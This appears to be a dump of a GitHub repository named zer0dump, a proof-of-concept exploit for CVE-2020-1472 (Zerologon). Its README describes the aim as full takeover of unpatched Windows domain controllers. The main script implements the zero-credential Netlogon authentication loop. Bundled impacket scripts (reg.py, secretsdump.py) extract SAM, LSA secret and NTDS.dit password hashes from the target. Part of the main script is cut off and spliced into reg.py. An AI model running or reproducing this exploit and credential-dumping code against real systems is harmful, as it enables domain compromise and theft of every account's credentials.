├── __pycache__ ├── reg.cpython-38.pyc ├── psexec.cpython-38.pyc └── secretsdump.cpython-38.pyc ├── README.md ├── requirements.txt ├── zer0dump.py ├── reg.py ├── secretsdump.py └── psexec.py /__pycache__/reg.cpython-38.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bb00/zer0dump/HEAD/__pycache__/reg.cpython-38.pyc -------------------------------------------------------------------------------- /__pycache__/psexec.cpython-38.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bb00/zer0dump/HEAD/__pycache__/psexec.cpython-38.pyc -------------------------------------------------------------------------------- /__pycache__/secretsdump.cpython-38.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bb00/zer0dump/HEAD/__pycache__/secretsdump.cpython-38.pyc -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Zer0Dump 2 | 3 | Zer0dump is an PoC exploit/tool for abusing the vulnerabilities associated with CVE-2020-1472 (Zerologon) in order 4 | to initiate a full system takeover of an unpatched Windows domain controller. 5 | 6 | Special thanks to [@dirkjanm](https://github.com/dirkjanm) and [@SecureAuthCorp](https://github.com/SecureAuthCorp/impacket) 7 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | aiohttp==3.6.2 2 | aiowinreg==0.0.3 3 | asn1crypto==1.4.0 4 | async-timeout==3.0.1 5 | asyncio==3.4.3 6 | asysocks==0.0.7 7 | attrs==19.3.0 8 | bcrypt==3.1.7 9 | beautifulsoup4==4.9.0 10 | bs4==0.0.1 11 | cairocffi==1.1.0 12 | CairoSVG==2.4.2 13 | capstone==4.0.2 14 | certifi==2020.4.5.1 15 | cffi==1.14.0 16 | chardet==3.0.4 17 | click==7.1.1 18 | crackmapexec==5.1.0.dev0 19 | cryptography==2.9 20 | cssselect2==0.3.0 21 | defusedxml==0.6.0 22 | discord==1.0.1 23 | discord.py==1.3.4 24 | dnspython==1.16.0 25 | Flask==1.1.2 26 | future==0.18.2 27 | gevent==1.5.0 28 | greenlet==0.4.15 29 | idna==2.9 30 | impacket==0.9.22.dev1+20200914.131346.64ce465 31 | intervaltree==3.0.2 32 | itsdangerous==1.1.0 33 | Jinja2==2.11.2 34 | ldap3==2.7 35 | ldapdomaindump==0.9.2 36 | lsassy==2.1.2 37 | Mako==1.1.3 38 | MarkupSafe==1.1.1 39 | minidump==0.0.13 40 | minikerberos==0.2.4 41 | msgpack==1.0.0 42 | msldap==0.3.12 43 | multidict==4.7.6 44 | neo4j==1.7.6 45 | neobolt==1.7.17 46 | neotime==1.7.4 47 | netaddr==0.8.0 48 | ntlm-auth==1.4.0 49 | packaging==20.4 50 | paramiko==2.7.1 51 | Pillow==7.1.2 52 | prompt-toolkit==3.0.7 53 | psutil==5.7.2 54 | pwntools==4.2.1 55 | pyasn1==0.4.8 56 | pycparser==2.20 57 | pycryptodomex==3.9.7 58 | pyelftools==0.26 59 | Pygments==2.6.1 60 | pylnk3==0.3.0 61 | PyNaCl==1.3.0 62 | pyOpenSSL==19.1.0 63 | pyparsing==2.4.7 64 | pypsrp==0.4.0 65 | pypykatz==0.3.12 66 | pyserial==3.4 67 | PySocks==1.7.1 68 | python-dateutil==2.8.1 69 | pytz==2020.1 70 | requests==2.23.0 71 | requests-ntlm==1.1.0 72 | ROPGadget==6.3 73 | six==1.14.0 74 | sortedcontainers==2.2.2 75 | soupsieve==2.0 76 | termcolor==1.1.0 77 | terminaltables==3.1.0 78 | tinycss2==1.0.2 79 | tk==0.1.0 80 | tqdm==4.49.0 81 | unicorn==1.0.2rc3 82 | urllib3==1.25.9 83 | wcwidth==0.2.5 84 | webencodings==0.5.1 85 | websockets==8.1 86 | Werkzeug==1.0.1 87 | winacl==0.0.6 88 | winsspi==0.0.9 89 | xmltodict==0.12.0 90 | yarl==1.4.2 91 | -------------------------------------------------------------------------------- /zer0dump.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT, NDRENUM, NDRUNION, NDRPOINTER, NDRUniConformantArray 3 | from impacket.dcerpc.v5 import nrpc, epm, lsat, lsad 4 | from impacket.dcerpc.v5.dtypes import NULL, WSTR, LPWSTR, DWORD, ULONG, USHORT, PGUID, NTSTATUS, LONG, UCHAR, PRPC_SID, \ 5 | GUID, RPC_UNICODE_STRING, SECURITY_INFORMATION, LPULONG, MAXIMUM_ALLOWED 6 | from impacket.dcerpc.v5 import transport 7 | import argparse 8 | from impacket import crypto 9 | from impacket.smbconnection import SMBConnection 10 | from struct import pack, unpack 11 | import hmac, hashlib, struct, sys, socket, time 12 | from binascii import hexlify, unhexlify 13 | from subprocess import check_call 14 | import reg 15 | MAX_ATTEMPTS = 2000 # False negative chance: 0.04% 16 | def update_authenticator(cSC, sK, timestamp): 17 | authenticator = nrpc.NETLOGON_AUTHENTICATOR() 18 | authenticator['Credential'] = b'\x00' * 8 19 | authenticator['Timestamp'] = timestamp 20 | return authenticator 21 | 22 | def fail(msg): 23 | print(msg, file=sys.stderr) 24 | print('This might have been caused by invalid arguments or network issues.', file=sys.stderr) 25 | sys.exit(2) 26 | 27 | def try_zero_authenticate(dc_handle, dc_ip, target_computer): 28 | # Connect to the DC's Netlogon service. 29 | binding = epm.hept_map(dc_ip, nrpc.MSRPC_UUID_NRPC, protocol='ncacn_ip_tcp') 30 | rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc() 31 | rpc_con.connect() 32 | rpc_con.bind(nrpc.MSRPC_UUID_NRPC) 33 | 34 | # Use an all-zero challenge and credential. 35 | plaintext = b'\x00' * 8 36 | ciphertext = b'\x00' * 8 37 | 38 | # Standard flags observed from a Windows 10 client (including AES), with only the sign/seal flag disabled. 39 | flags = 0x212fffff 40 | 41 | # Send challenge and authentication request. 42 | resp = nrpc.hNetrServerReqChallenge(rpc_con, dc_handle + '\x00', target_computer + '\x00', plaintext) 43 | serverChallenge = resp['ServerChallenge'] 44 | 45 | try: 46 | server_auth = nrpc.hNetrServerAuthenticate3( 47 | rpc_con, dc_handle + '\x00', target_computer + '$\x00', nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel, 48 | target_computer + '\x00', ciphertext, flags 49 | ) 50 | # It worked! 51 | assert server_auth['ErrorCode'] == 0 52 | return rpc_con, serverChallenge 53 | 54 | except nrpc.DCERPCSessionError as ex: 55 | # Failure should be due to a STATUS_ACCESS_DENIED error. Otherwise, the attack is probably not working. 56 | if ex.get_error_code() == 0xc0000022: 57 | return None, None 58 | else: 59 | fail(f'Unexpected error code from DC: {ex.get_error_code()}.') 60 | except BaseException as ex: 61 | raise ex 62 | fail(f'Unexpected error: {ex}.') 63 | 64 | 65 | #def getDomainSidRpc() 66 | 67 | def perform_attack(options): 68 | # Keep authenticating until succesfull. Expected average number of attempts needed: 256. 69 | print('Performing authentication attempts...') 70 | rpc_con = None 71 | conn = SMBConnection(options.target, options.target, None, options.port) 72 | conn.login('','') 73 | dc_handle = f"\\\\{conn.getServerName()}" 74 | target_computer = conn.getServerName() 75 | dc_ip = options.target 76 | 77 | 78 | print(dc_ip) 79 | print(target_computer) 80 | for attempt in range(0, MAX_ATTEMPTS): 81 | rpc_con, serverChallenge = try_zero_authenticate(dc_handle, dc_ip, target_computer) 82 | if rpc_con == None: 83 | print('=', end='', flush=True) 84 | else: 85 | break 86 | if rpc_con: 87 | print('\nSuccess! DC can be fully compromised by a Zerologon attack.') 88 | plaintext = b'\x00' * 8 89 | sessionKey = nrpc.ComputeSessionKeyStrongKey('', plaintext, serverChallenge, None) 90 | ppp = nrpc.ComputeNetlogonCredential(plaintext, sessionKey) 91 | clientStoredCredential = pack('= 0: 263 | logging.error('Cannot access subkey %s, bypassing it' % subkey['lpNameOut'][:-1]) 264 | continue 265 | elif str(e).find('rpc_x_bad_stub_data') >= 0: 266 | logging.error('Fault call, cannot retrieve value for %s, bypassing it' % subkey['lpNameOut'][:-1]) 267 | return 268 | raise 269 | 270 | @staticmethod 271 | def __parse_lp_data(valueType, valueData): 272 | try: 273 | if valueType == rrp.REG_SZ or valueType == rrp.REG_EXPAND_SZ: 274 | if type(valueData) is int: 275 | print('NULL') 276 | else: 277 | print("%s" % (valueData.decode('utf-16le')[:-1])) 278 | elif valueType == rrp.REG_BINARY: 279 | print('') 280 | hexdump(valueData, '\t') 281 | elif valueType == rrp.REG_DWORD: 282 | print("0x%x" % (unpack(' 1: 288 | print('') 289 | hexdump(valueData, '\t') 290 | else: 291 | print(" NULL") 292 | except: 293 | print(" NULL") 294 | elif valueType == rrp.REG_MULTI_SZ: 295 | print("%s" % (valueData.decode('utf-16le')[:-2])) 296 | else: 297 | print("Unknown Type 0x%x!" % valueType) 298 | hexdump(valueData) 299 | except Exception as e: 300 | logging.debug('Exception thrown when printing reg value %s', str(e)) 301 | print('Invalid data') 302 | pass 303 | 304 | 305 | if __name__ == '__main__': 306 | 307 | # Init the example's logger theme 308 | logger.init() 309 | # Explicitly changing the stdout encoding format 310 | if sys.stdout.encoding is None: 311 | # Output is redirected to a file 312 | sys.stdout = codecs.getwriter('utf8')(sys.stdout) 313 | print(version.BANNER) 314 | 315 | parser = argparse.ArgumentParser(add_help=True, description="Windows Register manipulation script.") 316 | 317 | parser.add_argument('target', action='store', help='[[domain/]username[:password]@]') 318 | parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') 319 | subparsers = parser.add_subparsers(help='actions', dest='action') 320 | 321 | # A query command 322 | query_parser = subparsers.add_parser('query', help='Returns a list of the next tier of subkeys and entries that ' 323 | 'are located under a specified subkey in the registry.') 324 | query_parser.add_argument('-keyName', action='store', required=True, 325 | help='Specifies the full path of the subkey. The ' 326 | 'keyName must include a valid root key. Valid root keys for the local computer are: HKLM,' 327 | ' HKU.') 328 | query_parser.add_argument('-v', action='store', metavar="VALUENAME", required=False, help='Specifies the registry ' 329 | 'value name that is to be queried. If omitted, all value names for keyName are returned. ') 330 | query_parser.add_argument('-ve', action='store_true', default=False, required=False, help='Queries for the default ' 331 | 'value or empty value name') 332 | query_parser.add_argument('-s', action='store_true', default=False, help='Specifies to query all subkeys and value ' 333 | 'names recursively.') 334 | 335 | # An add command 336 | # add_parser = subparsers.add_parser('add', help='Adds a new subkey or entry to the registry') 337 | 338 | # An delete command 339 | # delete_parser = subparsers.add_parser('delete', help='Deletes a subkey or entries from the registry') 340 | 341 | # A copy command 342 | # copy_parser = subparsers.add_parser('copy', help='Copies a registry entry to a specified location in the remote ' 343 | # 'computer') 344 | 345 | # A save command 346 | # save_parser = subparsers.add_parser('save', help='Saves a copy of specified subkeys, entries, and values of the ' 347 | # 'registry in a specified file.') 348 | 349 | # A load command 350 | # load_parser = subparsers.add_parser('load', help='Writes saved subkeys and entries back to a different subkey in ' 351 | # 'the registry.') 352 | 353 | # An unload command 354 | # unload_parser = subparsers.add_parser('unload', help='Removes a section of the registry that was loaded using the ' 355 | # 'reg load operation.') 356 | 357 | # A compare command 358 | # compare_parser = subparsers.add_parser('compare', help='Compares specified registry subkeys or entries') 359 | 360 | # A export command 361 | # status_parser = subparsers.add_parser('export', help='Creates a copy of specified subkeys, entries, and values into' 362 | # 'a file') 363 | 364 | # A import command 365 | # import_parser = subparsers.add_parser('import', help='Copies a file containing exported registry subkeys, entries, ' 366 | # 'and values into the remote computer\'s registry') 367 | 368 | 369 | group = parser.add_argument_group('authentication') 370 | 371 | group.add_argument('-hashes', action="store", metavar="LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') 372 | group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)') 373 | group.add_argument('-k', action="store_true", 374 | help='Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on ' 375 | 'target parameters. If valid credentials cannot be found, it will use the ones specified ' 376 | 'in the command line') 377 | group.add_argument('-aesKey', action="store", metavar="hex key", 378 | help='AES key to use for Kerberos Authentication (128 or 256 bits)') 379 | 380 | group = parser.add_argument_group('connection') 381 | 382 | group.add_argument('-dc-ip', action='store', metavar="ip address", 383 | help='IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in ' 384 | 'the target parameter') 385 | group.add_argument('-target-ip', action='store', metavar="ip address", 386 | help='IP Address of the target machine. If omitted it will use whatever was specified as target. ' 387 | 'This is useful when target is the NetBIOS name and you cannot resolve it') 388 | group.add_argument('-port', choices=['139', '445'], nargs='?', default='445', metavar="destination port", 389 | help='Destination port to connect to SMB Server') 390 | 391 | if len(sys.argv) == 1: 392 | parser.print_help() 393 | sys.exit(1) 394 | 395 | options = parser.parse_args() 396 | 397 | if options.debug is True: 398 | logging.getLogger().setLevel(logging.DEBUG) 399 | # Print the Library's installation path 400 | logging.debug(version.getInstallationPath()) 401 | else: 402 | logging.getLogger().setLevel(logging.INFO) 403 | 404 | import re 405 | 406 | domain, username, password, remoteName = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match( 407 | options.target).groups('') 408 | 409 | # In case the password contains '@' 410 | if '@' in remoteName: 411 | password = password + '@' + remoteName.rpartition('@')[0] 412 | remoteName = remoteName.rpartition('@')[2] 413 | 414 | if options.target_ip is None: 415 | options.target_ip = remoteName 416 | 417 | if domain is None: 418 | domain = '' 419 | 420 | if options.aesKey is not None: 421 | options.k = True 422 | 423 | if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None: 424 | from getpass import getpass 425 | 426 | password = getpass("Password:") 427 | 428 | regHandler = RegHandler(username, password, domain, options) 429 | try: 430 | regHandler.run(remoteName, options.target_ip) 431 | except Exception as e: 432 | #import traceback 433 | #traceback.print_exc() 434 | logging.error(str(e)) 435 | -------------------------------------------------------------------------------- /secretsdump.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. 3 | # 4 | # This software is provided under a slightly modified version 5 | # of the Apache Software License. See the accompanying LICENSE file 6 | # for more information. 7 | # 8 | # Description: Performs various techniques to dump hashes from the 9 | # remote machine without executing any agent there. 10 | # For SAM and LSA Secrets (including cached creds) 11 | # we try to read as much as we can from the registry 12 | # and then we save the hives in the target system 13 | # (%SYSTEMROOT%\\Temp dir) and read the rest of the 14 | # data from there. 15 | # For NTDS.dit we either: 16 | # a. Get the domain users list and get its hashes 17 | # and Kerberos keys using [MS-DRDS] DRSGetNCChanges() 18 | # call, replicating just the attributes we need. 19 | # b. Extract NTDS.dit via vssadmin executed with the 20 | # smbexec approach. 21 | # It's copied on the temp dir and parsed remotely. 22 | # 23 | # The script initiates the services required for its working 24 | # if they are not available (e.g. Remote Registry, even if it is 25 | # disabled). After the work is done, things are restored to the 26 | # original state. 27 | # 28 | # Author: 29 | # Alberto Solino (@agsolino) 30 | # 31 | # References: Most of the work done by these guys. I just put all 32 | # the pieces together, plus some extra magic. 33 | # 34 | # https://github.com/gentilkiwi/kekeo/tree/master/dcsync 35 | # https://moyix.blogspot.com.ar/2008/02/syskey-and-sam.html 36 | # https://moyix.blogspot.com.ar/2008/02/decrypting-lsa-secrets.html 37 | # https://moyix.blogspot.com.ar/2008/02/cached-domain-credentials.html 38 | # https://web.archive.org/web/20130901115208/www.quarkslab.com/en-blog+read+13 39 | # https://code.google.com/p/creddump/ 40 | # https://lab.mediaservice.net/code/cachedump.rb 41 | # https://insecurety.net/?p=768 42 | # http://www.beginningtoseethelight.org/ntsecurity/index.htm 43 | # https://www.exploit-db.com/docs/english/18244-active-domain-offline-hash-dump-&-forensic-analysis.pdf 44 | # https://www.passcape.com/index.php?section=blog&cmd=details&id=15 45 | # 46 | from __future__ import division 47 | from __future__ import print_function 48 | import argparse 49 | import codecs 50 | import logging 51 | import os 52 | import sys 53 | 54 | from impacket import version 55 | from impacket.examples import logger 56 | from impacket.smbconnection import SMBConnection 57 | 58 | from impacket.examples.secretsdump import LocalOperations, RemoteOperations, SAMHashes, LSASecrets, NTDSHashes 59 | from impacket.krb5.keytab import Keytab 60 | try: 61 | input = raw_input 62 | except NameError: 63 | pass 64 | 65 | class DumpSecrets: 66 | def __init__(self, remoteName, username='', password='', domain='', options=None): 67 | self.__useVSSMethod = options.use_vss 68 | self.__remoteName = remoteName 69 | self.__remoteHost = options.target_ip 70 | self.__username = username 71 | self.__password = password 72 | self.__domain = domain 73 | self.__lmhash = '' 74 | self.__nthash = '' 75 | self.__aesKey = options.aesKey 76 | self.__smbConnection = None 77 | self.__remoteOps = None 78 | self.__SAMHashes = None 79 | self.__NTDSHashes = None 80 | self.__LSASecrets = None 81 | self.__systemHive = options.system 82 | self.__bootkey = options.bootkey 83 | self.__securityHive = options.security 84 | self.__samHive = options.sam 85 | self.__ntdsFile = options.ntds 86 | self.__history = options.history 87 | self.__noLMHash = True 88 | self.__isRemote = True 89 | self.__outputFileName = options.outputfile 90 | self.__doKerberos = options.k 91 | self.__justDC = options.just_dc 92 | self.__justDCNTLM = options.just_dc_ntlm 93 | self.__justUser = options.just_dc_user 94 | self.__pwdLastSet = options.pwd_last_set 95 | self.__printUserStatus= options.user_status 96 | self.__resumeFileName = options.resumefile 97 | self.__canProcessSAMLSA = True 98 | self.__kdcHost = options.dc_ip 99 | self.__options = options 100 | 101 | if options.hashes is not None: 102 | self.__lmhash, self.__nthash = options.hashes.split(':') 103 | 104 | def connect(self): 105 | self.__smbConnection = SMBConnection(self.__remoteName, self.__remoteHost) 106 | if self.__doKerberos: 107 | self.__smbConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, 108 | self.__nthash, self.__aesKey, self.__kdcHost) 109 | else: 110 | self.__smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) 111 | 112 | def dump(self): 113 | try: 114 | if self.__remoteName.upper() == 'LOCAL' and self.__username == '': 115 | self.__isRemote = False 116 | self.__useVSSMethod = True 117 | if self.__systemHive: 118 | localOperations = LocalOperations(self.__systemHive) 119 | bootKey = localOperations.getBootKey() 120 | if self.__ntdsFile is not None: 121 | # Let's grab target's configuration about LM Hashes storage 122 | self.__noLMHash = localOperations.checkNoLMHashPolicy() 123 | else: 124 | import binascii 125 | bootKey = binascii.unhexlify(self.__bootkey) 126 | 127 | else: 128 | self.__isRemote = True 129 | bootKey = None 130 | try: 131 | try: 132 | self.connect() 133 | except Exception as e: 134 | if os.getenv('KRB5CCNAME') is not None and self.__doKerberos is True: 135 | # SMBConnection failed. That might be because there was no way to log into the 136 | # target system. We just have a last resort. Hope we have tickets cached and that they 137 | # will work 138 | logging.debug('SMBConnection didn\'t work, hoping Kerberos will help (%s)' % str(e)) 139 | pass 140 | else: 141 | raise 142 | 143 | self.__remoteOps = RemoteOperations(self.__smbConnection, self.__doKerberos, self.__kdcHost) 144 | self.__remoteOps.setExecMethod(self.__options.exec_method) 145 | if self.__justDC is False and self.__justDCNTLM is False or self.__useVSSMethod is True: 146 | self.__remoteOps.enableRegistry() 147 | bootKey = self.__remoteOps.getBootKey() 148 | # Let's check whether target system stores LM Hashes 149 | self.__noLMHash = self.__remoteOps.checkNoLMHashPolicy() 150 | except Exception as e: 151 | self.__canProcessSAMLSA = False 152 | if str(e).find('STATUS_USER_SESSION_DELETED') and os.getenv('KRB5CCNAME') is not None \ 153 | and self.__doKerberos is True: 154 | # Giving some hints here when SPN target name validation is set to something different to Off 155 | # This will prevent establishing SMB connections using TGS for SPNs different to cifs/ 156 | logging.error('Policy SPN target name validation might be restricting full DRSUAPI dump. Try -just-dc-user') 157 | else: 158 | logging.error('RemoteOperations failed: %s' % str(e)) 159 | 160 | # If RemoteOperations succeeded, then we can extract SAM and LSA 161 | if self.__justDC is False and self.__justDCNTLM is False and self.__canProcessSAMLSA: 162 | try: 163 | if self.__isRemote is True: 164 | SAMFileName = self.__remoteOps.saveSAM() 165 | else: 166 | SAMFileName = self.__samHive 167 | 168 | self.__SAMHashes = SAMHashes(SAMFileName, bootKey, isRemote = self.__isRemote) 169 | self.__SAMHashes.dump() 170 | if self.__outputFileName is not None: 171 | self.__SAMHashes.export(self.__outputFileName) 172 | except Exception as e: 173 | logging.error('SAM hashes extraction failed: %s' % str(e)) 174 | 175 | try: 176 | if self.__isRemote is True: 177 | SECURITYFileName = self.__remoteOps.saveSECURITY() 178 | else: 179 | SECURITYFileName = self.__securityHive 180 | 181 | self.__LSASecrets = LSASecrets(SECURITYFileName, bootKey, self.__remoteOps, 182 | isRemote=self.__isRemote, history=self.__history) 183 | self.__LSASecrets.dumpCachedHashes() 184 | if self.__outputFileName is not None: 185 | self.__LSASecrets.exportCached(self.__outputFileName) 186 | self.__LSASecrets.dumpSecrets() 187 | if self.__outputFileName is not None: 188 | self.__LSASecrets.exportSecrets(self.__outputFileName) 189 | except Exception as e: 190 | if logging.getLogger().level == logging.DEBUG: 191 | import traceback 192 | traceback.print_exc() 193 | logging.error('LSA hashes extraction failed: %s' % str(e)) 194 | 195 | # NTDS Extraction we can try regardless of RemoteOperations failing. It might still work 196 | if self.__isRemote is True: 197 | if self.__useVSSMethod and self.__remoteOps is not None: 198 | NTDSFileName = self.__remoteOps.saveNTDS() 199 | else: 200 | NTDSFileName = None 201 | else: 202 | NTDSFileName = self.__ntdsFile 203 | 204 | self.__NTDSHashes = NTDSHashes(NTDSFileName, bootKey, isRemote=self.__isRemote, history=self.__history, 205 | noLMHash=self.__noLMHash, remoteOps=self.__remoteOps, 206 | useVSSMethod=self.__useVSSMethod, justNTLM=self.__justDCNTLM, 207 | pwdLastSet=self.__pwdLastSet, resumeSession=self.__resumeFileName, 208 | outputFileName=self.__outputFileName, justUser=self.__justUser, 209 | printUserStatus= self.__printUserStatus) 210 | try: 211 | self.__NTDSHashes.dump() 212 | except Exception as e: 213 | if logging.getLogger().level == logging.DEBUG: 214 | import traceback 215 | traceback.print_exc() 216 | if str(e).find('ERROR_DS_DRA_BAD_DN') >= 0: 217 | # We don't store the resume file if this error happened, since this error is related to lack 218 | # of enough privileges to access DRSUAPI. 219 | resumeFile = self.__NTDSHashes.getResumeSessionFile() 220 | if resumeFile is not None: 221 | os.unlink(resumeFile) 222 | logging.error(e) 223 | if self.__justUser and str(e).find("ERROR_DS_NAME_ERROR_NOT_UNIQUE") >=0: 224 | logging.info("You just got that error because there might be some duplicates of the same name. " 225 | "Try specifying the domain name for the user as well. It is important to specify it " 226 | "in the form of NetBIOS domain name/user (e.g. contoso/Administratror).") 227 | elif self.__useVSSMethod is False: 228 | logging.info('Something wen\'t wrong with the DRSUAPI approach. Try again with -use-vss parameter') 229 | self.cleanup() 230 | except (Exception, KeyboardInterrupt) as e: 231 | if logging.getLogger().level == logging.DEBUG: 232 | import traceback 233 | traceback.print_exc() 234 | logging.error(e) 235 | if self.__NTDSHashes is not None: 236 | if isinstance(e, KeyboardInterrupt): 237 | while True: 238 | answer = input("Delete resume session file? [y/N] ") 239 | if answer.upper() == '': 240 | answer = 'N' 241 | break 242 | elif answer.upper() == 'Y': 243 | answer = 'Y' 244 | break 245 | elif answer.upper() == 'N': 246 | answer = 'N' 247 | break 248 | if answer == 'Y': 249 | resumeFile = self.__NTDSHashes.getResumeSessionFile() 250 | if resumeFile is not None: 251 | os.unlink(resumeFile) 252 | try: 253 | self.cleanup() 254 | except: 255 | pass 256 | 257 | def cleanup(self): 258 | logging.info('Cleaning up... ') 259 | if self.__remoteOps: 260 | self.__remoteOps.finish() 261 | if self.__SAMHashes: 262 | self.__SAMHashes.finish() 263 | if self.__LSASecrets: 264 | self.__LSASecrets.finish() 265 | if self.__NTDSHashes: 266 | self.__NTDSHashes.finish() 267 | 268 | 269 | # Process command-line arguments. 270 | if __name__ == '__main__': 271 | # Explicitly changing the stdout encoding format 272 | if sys.stdout.encoding is None: 273 | # Output is redirected to a file 274 | sys.stdout = codecs.getwriter('utf8')(sys.stdout) 275 | 276 | print(version.BANNER) 277 | 278 | parser = argparse.ArgumentParser(add_help = True, description = "Performs various techniques to dump secrets from " 279 | "the remote machine without executing any agent there.") 280 | 281 | parser.add_argument('target', action='store', help='[[domain/]username[:password]@] or LOCAL' 282 | ' (if you want to parse local files)') 283 | parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output') 284 | parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') 285 | parser.add_argument('-system', action='store', help='SYSTEM hive to parse') 286 | parser.add_argument('-bootkey', action='store', help='bootkey for SYSTEM hive') 287 | parser.add_argument('-security', action='store', help='SECURITY hive to parse') 288 | parser.add_argument('-sam', action='store', help='SAM hive to parse') 289 | parser.add_argument('-ntds', action='store', help='NTDS.DIT file to parse') 290 | parser.add_argument('-resumefile', action='store', help='resume file name to resume NTDS.DIT session dump (only ' 291 | 'available to DRSUAPI approach). This file will also be used to keep updating the session\'s ' 292 | 'state') 293 | parser.add_argument('-outputfile', action='store', 294 | help='base output filename. Extensions will be added for sam, secrets, cached and ntds') 295 | parser.add_argument('-use-vss', action='store_true', default=False, 296 | help='Use the VSS method insead of default DRSUAPI') 297 | parser.add_argument('-exec-method', choices=['smbexec', 'wmiexec', 'mmcexec'], nargs='?', default='smbexec', help='Remote exec ' 298 | 'method to use at target (only when using -use-vss). Default: smbexec') 299 | group = parser.add_argument_group('display options') 300 | group.add_argument('-just-dc-user', action='store', metavar='USERNAME', 301 | help='Extract only NTDS.DIT data for the user specified. Only available for DRSUAPI approach. ' 302 | 'Implies also -just-dc switch') 303 | group.add_argument('-just-dc', action='store_true', default=False, 304 | help='Extract only NTDS.DIT data (NTLM hashes and Kerberos keys)') 305 | group.add_argument('-just-dc-ntlm', action='store_true', default=False, 306 | help='Extract only NTDS.DIT data (NTLM hashes only)') 307 | group.add_argument('-pwd-last-set', action='store_true', default=False, 308 | help='Shows pwdLastSet attribute for each NTDS.DIT account. Doesn\'t apply to -outputfile data') 309 | group.add_argument('-user-status', action='store_true', default=False, 310 | help='Display whether or not the user is disabled') 311 | group.add_argument('-history', action='store_true', help='Dump password history, and LSA secrets OldVal') 312 | group = parser.add_argument_group('authentication') 313 | 314 | group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') 315 | group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)') 316 | group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file ' 317 | '(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use' 318 | ' the ones specified in the command line') 319 | group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication' 320 | ' (128 or 256 bits)') 321 | group.add_argument('-keytab', action="store", help='Read keys for SPN from keytab file') 322 | group = parser.add_argument_group('connection') 323 | group.add_argument('-dc-ip', action='store',metavar = "ip address", help='IP Address of the domain controller. If ' 324 | 'ommited it use the domain part (FQDN) specified in the target parameter') 325 | group.add_argument('-target-ip', action='store', metavar="ip address", 326 | help='IP Address of the target machine. If omitted it will use whatever was specified as target. ' 327 | 'This is useful when target is the NetBIOS name and you cannot resolve it') 328 | 329 | if len(sys.argv)==1: 330 | parser.print_help() 331 | sys.exit(1) 332 | 333 | options = parser.parse_args() 334 | 335 | # Init the example's logger theme 336 | logger.init(options.ts) 337 | 338 | if options.debug is True: 339 | logging.getLogger().setLevel(logging.DEBUG) 340 | # Print the Library's installation path 341 | logging.debug(version.getInstallationPath()) 342 | else: 343 | logging.getLogger().setLevel(logging.INFO) 344 | 345 | import re 346 | 347 | domain, username, password, remoteName = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match( 348 | options.target).groups('') 349 | 350 | #In case the password contains '@' 351 | if '@' in remoteName: 352 | password = password + '@' + remoteName.rpartition('@')[0] 353 | remoteName = remoteName.rpartition('@')[2] 354 | 355 | if options.just_dc_user is not None: 356 | if options.use_vss is True: 357 | logging.error('-just-dc-user switch is not supported in VSS mode') 358 | sys.exit(1) 359 | elif options.resumefile is not None: 360 | logging.error('resuming a previous NTDS.DIT dump session not compatible with -just-dc-user switch') 361 | sys.exit(1) 362 | elif remoteName.upper() == 'LOCAL' and username == '': 363 | logging.error('-just-dc-user not compatible in LOCAL mode') 364 | sys.exit(1) 365 | else: 366 | # Having this switch on implies not asking for anything else. 367 | options.just_dc = True 368 | 369 | if options.use_vss is True and options.resumefile is not None: 370 | logging.error('resuming a previous NTDS.DIT dump session is not supported in VSS mode') 371 | sys.exit(1) 372 | 373 | if remoteName.upper() == 'LOCAL' and username == '' and options.resumefile is not None: 374 | logging.error('resuming a previous NTDS.DIT dump session is not supported in LOCAL mode') 375 | sys.exit(1) 376 | 377 | if remoteName.upper() == 'LOCAL' and username == '': 378 | if options.system is None and options.bootkey is None: 379 | logging.error('Either the SYSTEM hive or bootkey is required for local parsing, check help') 380 | sys.exit(1) 381 | else: 382 | 383 | if options.target_ip is None: 384 | options.target_ip = remoteName 385 | 386 | if domain is None: 387 | domain = '' 388 | 389 | if options.keytab is not None: 390 | Keytab.loadKeysFromKeytab(options.keytab, username, domain, options) 391 | options.k = True 392 | 393 | if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None: 394 | from getpass import getpass 395 | 396 | password = getpass("Password:") 397 | 398 | if options.aesKey is not None: 399 | options.k = True 400 | 401 | dumper = DumpSecrets(remoteName, username, password, domain, options) 402 | try: 403 | dumper.dump() 404 | except Exception as e: 405 | if logging.getLogger().level == logging.DEBUG: 406 | import traceback 407 | traceback.print_exc() 408 | logging.error(e) 409 | -------------------------------------------------------------------------------- /psexec.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. 3 | # 4 | # This software is provided under under a slightly modified version 5 | # of the Apache Software License. See the accompanying LICENSE file 6 | # for more information. 7 